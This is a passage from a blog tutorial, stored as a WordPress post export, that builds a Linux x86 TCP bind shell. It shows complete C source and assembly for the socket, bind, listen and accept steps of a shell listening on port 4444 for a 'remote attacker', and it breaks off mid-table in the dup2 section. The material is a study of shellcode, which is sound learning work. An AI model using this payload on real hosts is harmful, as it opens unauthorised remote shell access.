{"id":482,"date":"2020-07-08T08:48:58","date_gmt":"2020-07-08T08:48:58","guid":{"rendered":"http:\/\/mosunit.com\/?p=482"},"modified":"2020-07-17T17:36:07","modified_gmt":"2020-07-17T17:36:07","slug":"creating-linux-x86-bind-shell-in-assembly","status":"publish","type":"post","link":"https:\/\/mosunit.com\/?p=482","title":{"rendered":"Creating Linux x86 bind shell in Assembly"},"content":{"rendered":"\n<p>Like everyone else, I have been swapping payloads within the exploits with few key-presses. Metasploit and Msfvenom are such wonderful tools that they ease out most of the work.<\/p>\n\n\n\n<p>However, there is a lot that goes on when you generate a payload using <em>msfvenom<\/em>. In this post, we will create an x86 <em>TCP Bind Shellcode<\/em> in assembly language. This assignment was pretty fascinating to much as it was my first attempt at shellcoding. I will cover the following in this post:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Create a TCP bind shell that listens over port 4444 <\/li><li>Create a wrapper script to make the port easily reconfigurable<\/li><\/ul>\n\n\n\n<p>This post is first in the series of posts in which I will show some demonstration of assembly concepts and write programs.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Where to start ?<\/h2>\n\n\n\n<p>This was my first thought. I didn&#8217;t know how exactly should I start writing a shellcode in assembly; though I had been given a pretty good understanding of x86 assembly by Vivek. <\/p>\n\n\n\n<p>Upon research, I found that the best way to move forward is to study a proof of concept in a high level language such as <em>C<\/em>, break down the code and extract the relevant information so that it can be translated into assembly. Specifically, following is the approach that I followed:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Found a neat and well commented C bind shell POC from <em><a rel=\"noreferrer noopener\" href=\"https:\/\/azeria-labs.com\/tcp-bind-shell-in-assembly-arm-32-bit\" target=\"_blank\">https:\/\/azeria-labs.com\/tcp-bind-shell-in-assembly-arm-32-bit<\/a>\/<\/em><\/li><li>Anaylsed the code and broke it down into different sections &#8211; based upon the action being performed (syscalls)<\/li><li>Translated each section into assembly <\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\">Analyzing the C proof of concept<\/h2>\n\n\n\n<p>Here is the C code for TCP bind shell:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#include &lt;stdio.h> \n#include &lt;sys\/types.h>  \n#include &lt;sys\/socket.h> \n#include &lt;netinet\/in.h> \n\nint host_sockid;    \/\/ socket file descriptor \nint client_sockid;  \/\/ client file descriptor \n\nstruct sockaddr_in hostaddr;            \/\/ server aka listen address\n\nint main() \n{ \n    \/\/ Create new TCP socket \n    host_sockid = socket(PF_INET, SOCK_STREAM, 0); \n\n    \/\/ Initialize sockaddr struct to bind socket using it \n    hostaddr.sin_family = AF_INET;                  \/\/ server socket type address family = internet protocol address\n    hostaddr.sin_port = htons(4444);                \/\/ server port, converted to network byte order\n    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   \/\/ listen to any address, converted to network byte order\n\n    \/\/ Bind socket to IP\/Port in sockaddr struct \n    bind(host_sockid, (struct sockaddr*) &amp;hostaddr, sizeof(hostaddr)); \n\n    \/\/ Listen for incoming connections \n    listen(host_sockid, 2); \n\n    \/\/ Accept incoming connection \n    client_sockid = accept(host_sockid, NULL, NULL); \n\n    \/\/ Duplicate file descriptors for STDIN, STDOUT and STDERR \n    dup2(client_sockid, 0); \n    dup2(client_sockid, 1); \n    dup2(client_sockid, 2); \n\n    \/\/ Execute \/bin\/sh \n    execve(\"\/bin\/sh\", NULL, NULL); \n    close(host_sockid); \n\n    return 0; \n}<\/pre>\n\n\n\n<p>The C code is well commented and it is easy to step into each line and understand what is going on. Upon reading the code, it is evident that we are working with sockets. There are various functions being invoked. The code can be broken down into the following:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Create a socket<\/li><li>Bind the socket to a local port<\/li><li>Listen for a connection<\/li><li>Accept an incoming connection<\/li><li>Duplicate the file descriptors for STDIN, STDOUT and STDERR<\/li><li>Execute the shell <\/li><\/ol>\n\n\n\n<p>As mentioned earlier, our aim is to translate each section of code in x86 assembly. Each function invoked in this C code actually corresponds to an underlying sycall in Linux. Let us walk through each syscall, identify the values that need to be passed and craft the corresponding assembly code.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Create a Socket<\/h2>\n\n\n\n<p>The first step is to create a socket. The relevant C code snippet is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">host_sockid = socket(PF_INET, SOCK_STREAM, 0);\u00a0<\/pre>\n\n\n\n<p>The C code tells us that the <em>socket <\/em>syscall needs to be invoked. A quick reference to the <code><em>\/usr\/include\/i386-linux-gnu\/asm\/unistd_32.h<\/em><\/code> file reveals the syscall number of the <em>socketcall <\/em>syscall<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#define __NR_socketcall 102<\/pre>\n\n\n\n<p>The sycall number associated with <em>socketcall <\/em>is <code>102<\/code>. The man reference shows the parameters of this syscall:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int socketcall(int call, unsigned long *args);<\/pre>\n\n\n\n<p>We can reference the different function call of <em>socketcall <\/em>syscall in <code><em>\/usr\/include\/linux\/net.h<\/em><\/code>. Following snippet shows the syscalls we need to invoke for a TCP bind shell. Please make a note as this will be referenced in later parts of the post too.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#ifndef _LINUX_NET_H\n#define _LINUX_NET_H\n\n#include &lt;linux\/socket.h>\n#include &lt;asm\/socket.h>\n\n#define NPROTO          AF_MAX\n\n#define SYS_SOCKET      1               \/* sys_socket(2)                *\/\n#define SYS_BIND        2               \/* sys_bind(2)                  *\/\n#define SYS_CONNECT     3               \/* sys_connect(2)               *\/\n#define SYS_LISTEN      4               \/* sys_listen(2)                *\/\n#define SYS_ACCEPT      5               \/* sys_accept(2)                *\/<\/pre>\n\n\n\n<p>As shown, to create a socket, the value of the <em>call <\/em>will be <em>&#8220;1&#8221;<\/em>. The <em>args<\/em> will then point to arguments of <em>socket<\/em> syscall.<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><td>NA<\/td><td>1<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><td>NA<\/td><td>&lt;address of socket syscall arguments&gt;<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The man reference of the <em>socket <\/em>syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int socket(int domain, int type, int protocol);\n<\/pre>\n\n\n\n<p>Let&#8217;s look at each argument and refer our proof of concept C code for values being passed in it.<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><\/tr><\/thead><tbody><tr><td>socket<\/td><td>domain<\/td><td>Specifies a communication domain; this selects the protocol family which will be used for communication<\/td><td>PF_INET<\/td><\/tr><tr><td>socket<\/td><td>type<\/td><td>The socket has the indicated type, which specifies the communication semantics<\/td><td>SOCK_STREAM<\/td><\/tr><tr><td>socket<\/td><td>protocol<\/td><td>Specifies a particular protocol to be used with the socket<\/td><td>0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The value of domain can be found at<code><em>\/usr\/include\/i386-linux-gnu\/bits\/socket.h<\/em><\/code>; which refers to the IPv4 family. PF_INET is a synonym for AF_INET.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"abap\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">#define PF_INET         2       \/* IP protocol family.  *\/\n#define AF_INET         PF_INET\n<\/pre>\n\n\n\n<p>The value of type can be found at<code><em>\/usr\/include\/i386-linux-gnu\/bits\/socket_type.h<\/em><\/code>; which refers to connection oriented stream.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">  SOCK_STREAM = 1,              \/* Sequenced, reliable, connection-based byte streams.  *\/<\/pre>\n\n\n\n<p>The value of protocol can be found at<code><em>\/usr\/include\/linux\/in.h<\/em><\/code>; which refers to TCP protocol<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">IPPROTO_IP = 0, \/* Dummy protocol for TCP *\/<\/pre>\n\n\n\n<p>The table below is updated with values of all arguments for <em>socketcall <\/em>syscall which calls <em>socket <\/em>syscall.<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><td>NA<\/td><td>EBX &#8211; 1<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><td>NA<\/td><td>ECX &#8211; &lt;address of arguments of socket syscall&gt;<\/td><\/tr><tr><td>socket<\/td><td>domain<\/td><td>Specifies a communication domain; this selects the protocol family which will be used for communication<\/td><td>PF_INET<\/td><td>2<\/td><\/tr><tr><td>socket<\/td><td>type<\/td><td>The socket has the indicated type, which specifies the communication semantics<\/td><td>SOCK_STREAM<\/td><td>1<\/td><\/tr><tr><td>socket<\/td><td>protocol<\/td><td>Specifies a particular protocol to be used with the socket<\/td><td>0<\/td><td>0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>As we have the all the data with us, we can now move forward to write the assembly code to create a socket. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">global _start\n\nsection .text\n\n_start:\n\n; Creating a socket\n\n        ; move decimal 102 in eax - socketcall syscall\n        xor eax, eax\n        mov al, 0x66    ;converted to hex\n\n        ; set the call argument to 1 - SOCKET syscall\n        xor ebx, ebx\n        mov bl, 0x1\n\n        ; push value of protocol, type and domain on stack - socket syscall\n        ; int socket(int domain, int type, int protocol);\n        ; arguments pushed in reverse order\n        xor ecx, ecx\n        push ecx        ; Protocol = 0\n        push 0x1        ; Type = 1 (SOCK_STREAM)\n        push 0x2        ; Domain = 2 (AF_INET)\n\n        ; set value of ecx to point to top of stack - points to block of arguments for socketcall syscall\n        mov ecx, esp\n\n        int 0x80<\/pre>\n\n\n\n<p>This completes our first and important stage of the assembly program. We can now follow the same approach in evaluating other sycalls and writing the assembly code.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Bind the Socket<\/h2>\n\n\n\n<p>The relevant C code snippet for bind syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Initialize sockaddr struct to bind socket using it \n    hostaddr.sin_family = AF_INET;                  \/\/ server socket type address family = internet protocol address\n    hostaddr.sin_port = htons(4444);                \/\/ server port, converted to network byte order\n    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);   \/\/ listen to any address, converted to network byte order\n\n \/\/ Bind socket to IP\/Port in sockaddr struct \n bind(host_sockid, (struct sockaddr*) &amp;hostaddr, sizeof(hostaddr)); <\/pre>\n\n\n\n<p>We will invoke <em>bind <\/em>syscall function from <em>socketcall <\/em>syscall. To bind the socket, the value of the <em>call <\/em>will be <em>&#8220;2&#8221;<\/em> (as referenced from <em>net.h <\/em>earlier). The <em>args<\/em> will then point to arguments of <em>bind <\/em>syscall.<\/p>\n\n\n\n<p>The man reference of the <em>bind <\/em>syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);<\/pre>\n\n\n\n<p>Again, let&#8217;s look at each argument and refer our proof of concept C code for values being passed in it.<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><td>NA<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><td>NA<\/td><\/tr><tr><td>bind<\/td><td>sockfd<\/td><td>bind() assigns the address specified by addr to the<br>socket referred to by the file descriptor sockfd<\/td><td>host_sockid<\/td><\/tr><tr><td>bind<\/td><td>addr<\/td><td>bind() assigns the address specified by addr to the<br>socket referred to by the file descriptor sockfd<\/td><td>&amp;hostaddr<\/td><\/tr><tr><td>bind<\/td><td>addrlen<\/td><td>addrlen specifies the size, in bytes, of the address structure pointed to by addr<\/td><td>sizeof(hostaddr)<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The first argument, which is <em>sockfd, <\/em>is nothing but the return value of previous syscall; which is a socket file descriptor returned by <em>socket <\/em>syscall.<\/p>\n\n\n\n<p>The <em> addr <\/em>argument is a bit interesting. If you look closely in the man reference, you will notice that <em>addr <\/em>points to <em>sockaddr <\/em>structure, which is defined as follows:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">struct sockaddr_in {\n   short int            sin_family;\n   unsigned short int   sin_port;\n   struct in_addr       sin_addr;\n   unsigned char        sin_zero[8];\n};<\/pre>\n\n\n\n<p>Let&#8217;s port this structure into a table and map it to the C code<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Structure elements<\/th><th>Description<\/th><th>C reference<\/th><\/tr><\/thead><tbody><tr><td>sin_family<\/td><td>Represents an address family<\/td><td>AF_INET<\/td><\/tr><tr><td>sin_port<\/td><td>16-bit port number in Network Byte Order<\/td><td>4444<\/td><\/tr><tr><td>sin_addr<\/td><td>32-bit IP address in Network Byte Order<\/td><td>INADDR_ANY<\/td><\/tr><tr><td>sin_zero<\/td><td>Not used<\/td><td>NA<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>As the address family is IPv4, the value of <em>sin_family <\/em>will PF_INET\/AF_INET and the integer value will be same as that in previous syscall.<\/p>\n\n\n\n<p>Let&#8217;s keep the value of <em>sin_port <\/em>as 4444; the port on which our shell will listen and the remote attacker will connect. 4444 converts to <em>115c<\/em> in hex. To push it onto the stack, we need to reverse the order i.e <em>5c11<\/em>; which is due to <em>little endian<\/em> format.<\/p>\n\n\n\n<p>We want our port to listen all all interfaces, so the equivalent of INADDR_ANY will be 0.0.0.0, if needs to be passed as value in registers.<\/p>\n\n\n\n<p>The last argument <em>addrlen <\/em>will be <em>16<\/em>, which is the size of <em>sockaddr_in<\/em> structure<\/p>\n\n\n\n<p>The table below is updated with values of all arguments for <em>socketcall <\/em>syscall, which calls the <em>bind <\/em>syscall:<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><td>NA<\/td><td>EBX &#8211; 2<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><td>NA<\/td><td>ECX &#8211; &lt;address of arguments of bind syscall&gt;<\/td><\/tr><tr><td>bind<\/td><td>sockfd<\/td><td>bind() assigns the address specified by addr to the<br>socket referred to by the file descriptor sockfd<\/td><td>host_sockid<\/td><td>EDX &#8211; &lt;return value from socket syscall&gt;<\/td><\/tr><tr><td>bind<\/td><td>addr<\/td><td>bind() assigns the address specified by addr to the<br>socket referred to by the file descriptor sockfd<\/td><td>&amp;hostaddr<\/td><td>ESI &#8211; &lt;address of sockaddr_in struct&gt;<\/td><\/tr><tr><td>bind<\/td><td>addrlen<\/td><td>addrlen specifies the size, in bytes, of the address structure pointed to by addr<\/td><td>sizeof(hostaddr)<\/td><td>16<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The values for <em>sockaddr_in<\/em> structure is also summarized below:<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table><thead><tr><th>Structure elements<\/th><th>Description<\/th><th>C reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>sin_family<\/td><td>Represents an address family<\/td><td>AF_INET<\/td><td>2<\/td><\/tr><tr><td>sin_family<\/td><td>16-bit port number in Network Byte Order<\/td><td>4444<\/td><td>0x5c11<\/td><\/tr><tr><td>sin_addr<\/td><td>32-bit IP address in Network Byte Order<\/td><td>INADDR_ANY<\/td><td>0x00000000<\/td><\/tr><tr><td>sin_zero<\/td><td>Not used<\/td><td>NA<\/td><td>NA<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p><span style=\"text-decoration: underline;\"><\/span>Using the above information, the following assembly code for <em>bind <\/em>syscall is created.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"monokai\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; Binding a socket\n\n        ; save return value of socket syscall - socket file descriptor\n        xor edx, edx\n        mov edx, eax\n\n        ; move decimal 102 in eax - socketcall syscall\n        mov al, 0x66    ;converted to hex\n\n        ; set the call argument to 2 - bind syscall\n        mov bl, 0x2\n\n        ; push sockaddr structure on the stack\n        ; struct sockaddr {\n        ;       sa_family_t sa_family;\n        ;       char        sa_data[14];\n        ;       }\n        xor ecx, ecx\n        push ecx                ; s_addr = any(0.0.0.0)\n        push word 0x5c11        ; port = 4444\n        push word 0x2           ; family = AF_INET\n\n        mov esi, esp            ; save address of sockaddr struct\n\n        ; push values of addrlen, addr and sockfd on the stack\n        ; bind(host_sockid, (struct sockaddr*) &amp;hostaddr, sizeof(hostaddr));\n        push 0x10               ; strlen =16\n        push esi                ; address of sockaddr structure\n        push edx                ; file descriptor returned from socket syscall\n\n        ; set value of ecx to point to top of stack - points to block of arguments for bind syscall\n        mov ecx, esp\n        int 0x80<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Listen for a connection<\/h2>\n\n\n\n<p>The relevant C code snippet for the listen function is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\u00a0\u00a0\u00a0 \/\/ Listen for incoming connections\u00a0\n\u00a0\u00a0\u00a0 listen(host_sockid, 2);\u00a0\n<\/pre>\n\n\n\n<p>We will invoke <em>listen <\/em>syscall function from <em>socketcall <\/em>syscall. To listen, the value of the <em>call <\/em>will be <em>&#8220;4&#8221;<\/em> (as referenced from <em>net.h <\/em>earlier). The <em>args<\/em> will then point to arguments of <em>listen <\/em>syscall.<\/p>\n\n\n\n<p>The man reference of the <em>listen <\/em>syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"> int listen(int sockfd, int backlog);<\/pre>\n\n\n\n<p>The arguments and reference to C code is below:<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><td>NA<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><td>NA<\/td><\/tr><tr><td>listen<\/td><td>sockfd<\/td><td>File descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET<\/td><td>host_sockid<\/td><\/tr><tr><td>listen<\/td><td>backlog<\/td><td>Defines the maximum length to which the queue of pending connections for sockfd may grow<\/td><td>2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>The first argument, <em>sockfd, <\/em>is same as in <em>bind <\/em>sycall, which the return value of <em>socket <\/em>syscall.<\/p>\n\n\n\n<p>Argument <em>backlog<\/em> defines a queue limit for incoming connections. After the queue is full, the connecting clients will get a connection refused error. Let&#8217;s keep this value same as in the C code.<\/p>\n\n\n\n<p>The table below is updated with values of all arguments for <em>socketcall <\/em>syscall, which calls the <em>listen <\/em>syscall:<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><td>NA<\/td><td>EBX &#8211; 4<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><td>NA<\/td><td>ECX &#8211; &lt;address of arguments of listen syscall&gt;<\/td><\/tr><tr><td>listen<\/td><td>sockfd<\/td><td>File descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET<\/td><td>host_sockid<\/td><td>EDX &#8211; &lt;return value of socket syscall&gt;<\/td><\/tr><tr><td>listen<\/td><td>backlog<\/td><td>Defines the maximum length to which the queue of pending connections for sockfd may grow<\/td><td>2<\/td><td>2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Using the above information, the following assembly code for <em>listen <\/em>syscall is created.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; Listen for a connection\n\n        ; move decimal 102 in eax - socketcall syscall\n        mov al, 0x66    ;converted to hex\n\n        ; set the call argument to 4 - listen syscall\n        mov bl, 0x4\n\n        ; push arguments for socketcall syscall\n        ; int listen(int sockfd, int backlog)\n        push byte 0x2\n        push edx\n\n        ;set value of ecx to point ot top of stack - points to block of arguments for listen syscall\n        mov ecx, esp\n        int 0x80\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Accept Incoming Connection<\/h2>\n\n\n\n<p>The relevant C code snippet for <em>accept<\/em> syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Accept incoming connection\u00a0\n\u00a0\u00a0\u00a0 client_sockid = accept(host_sockid, NULL, NULL);\u00a0<\/pre>\n\n\n\n<p>We will invoke <em>accept <\/em>syscall function from <em>socketcall <\/em>syscall. To accept the incoming connection, the value of the <em>call <\/em>will be <em>&#8220;5&#8221;<\/em> (as referenced from <em>net.h <\/em>earlier). The <em>args<\/em> will then point to arguments of <em>accept <\/em>syscall.<\/p>\n\n\n\n<p>The man reference of the <em>accept <\/em>syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);<\/pre>\n\n\n\n<p>This is pretty straightforward. The value of argument <em>sockfd <\/em>will be same as that in previous syscalls i.e. return value of <em>socket <\/em>syscall. The next two arguments can be ignored and set to <em>&#8220;0&#8221;<\/em> as they are used to capture the connecting client&#8217;s details, which we do not wish to capture. So, the values of arguments for <em>socketcall <\/em>syscall and <em>accept <\/em>sycall are below:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code reference<\/th><th>Value<\/th><\/tr><\/thead><tbody><tr><td>socketcall<\/td><td>call<\/td><td>Determines which socket function to invoke<\/td><td>NA<\/td><td>EBX &#8211; 5<\/td><\/tr><tr><td>socketcall<\/td><td>args<\/td><td>Points to a block containing the actual arguments<\/td><td>NA<\/td><td>ECX &#8211; &lt;address of arguments of accept syscall&gt;<\/td><\/tr><tr><td>accept<\/td><td>sockfd<\/td><td>File descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET<\/td><td>host_sockid<\/td><td>EDX &#8211; &lt;return value of socket syscall&gt;<\/td><\/tr><tr><td>accept<\/td><td>addr<\/td><td>Pointer to a sockaddr structure; filled in with the address of the peer socket<\/td><td>NULL<\/td><td>0<\/td><\/tr><tr><td>accept<\/td><td>addrlen<\/td><td>Value-result argument: the caller must initialize it to contain the size (in bytes) of the structure pointed to by addr<\/td><td>NULL<\/td><td>0<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p>Using the above information, the following assembly code for <em>accept <\/em>syscall is created.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"asm\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">; Accept a connection\n\n        ; move decimal 102 in eax - socketcall syscall\n        mov al, 0x66\n\n\n        ; set the call argument to 5 - accept syscall\n         mov bl, 0x5\n\n        ; push arguments for socketcall syscall\n        ; int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)\n        xor ecx, ecx\n        push ecx\n        push ecx\n        push edx\n\n        ;set value of ecx to point ot top of stack - points to block of arguments for listen syscall\n        mov ecx, esp\n        int 0x80\n<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Redirect STDIN, STDOUT and STDERR via DUP2<\/h2>\n\n\n\n<p>For the bind shell to be interactive and to actually work, we need to redirect the STDIN, STDOUT and STDERR to client socket file descriptor created in previous syscall.<\/p>\n\n\n\n<p>The relevant C code snippet for <em>dup2 <\/em>syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ Duplicate file descriptors for STDIN, STDOUT and STDERR\u00a0\n dup2(client_sockid, 0);\u00a0\n\u00a0dup2(client_sockid, 1);\u00a0\n\u00a0dup2(client_sockid, 2);\u00a0<\/pre>\n\n\n\n<p> The man reference of <em>dup2<\/em> syscall is below:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">int dup2(int oldfd, int newfd);<\/pre>\n\n\n\n<p>The<em> dup2<\/em> system call creates a copy of the file descriptor <em>oldfd<\/em>, using the file descriptor number specified in <em>newfd<\/em>. So, we will need to loop over <em>dup2 <\/em>call three times to map STDIN, STDOUT, STDERR to 0, 1 and 2 respectively.<\/p>\n\n\n\n<figure class=\"wp-block-table is-style-regular\"><table><thead><tr><th>Syscall<\/th><th>Argument<\/th><th>Man reference<\/th><th>C code 